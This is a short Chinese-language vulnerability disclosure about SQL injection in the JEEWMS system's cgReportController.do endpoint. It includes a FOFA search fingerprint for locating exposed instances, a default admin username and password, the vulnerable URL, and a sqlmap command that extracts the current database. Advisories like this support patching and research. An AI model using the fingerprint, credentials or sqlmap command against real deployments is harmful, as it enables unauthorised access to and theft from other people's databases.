JEEWMS系统cgReportController.do存在SQL注入

免责声明

本文章仅做网络安全技术研究使用！严禁用于非法犯罪行为，请严格遵守国家法律法规；请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者无关。使用本文所提供的信息或工具即视为同意本免责声明，并承诺遵守相关法律法规和道德规范。

问题描述

JEEWMS系统cgReportController.do存在SQL注入

fofa

body="plug-in/lhgDialog/lhgdialog.min.js?skin=metro"

poc

1. 构建 POC，登录后端捕获数据包，并替换 cookie

admin/llg123
http://localhost:8083/jeewms/cgReportController.do?list&id=1

1. 使用 SQLMAP 重现和构造执行语句

 python sqlmap.py -u "http://localhost:8083/jeewms/cgReportController.do?list&id=1" --cookie="XXXXX" -p id --current-db

问题来源

• JEEWMS-cgReportController.do？List&ID 存在 SQL 注入 ·问题 #IBFTVK ·JeeWMS/JeeWMS - Gitee.com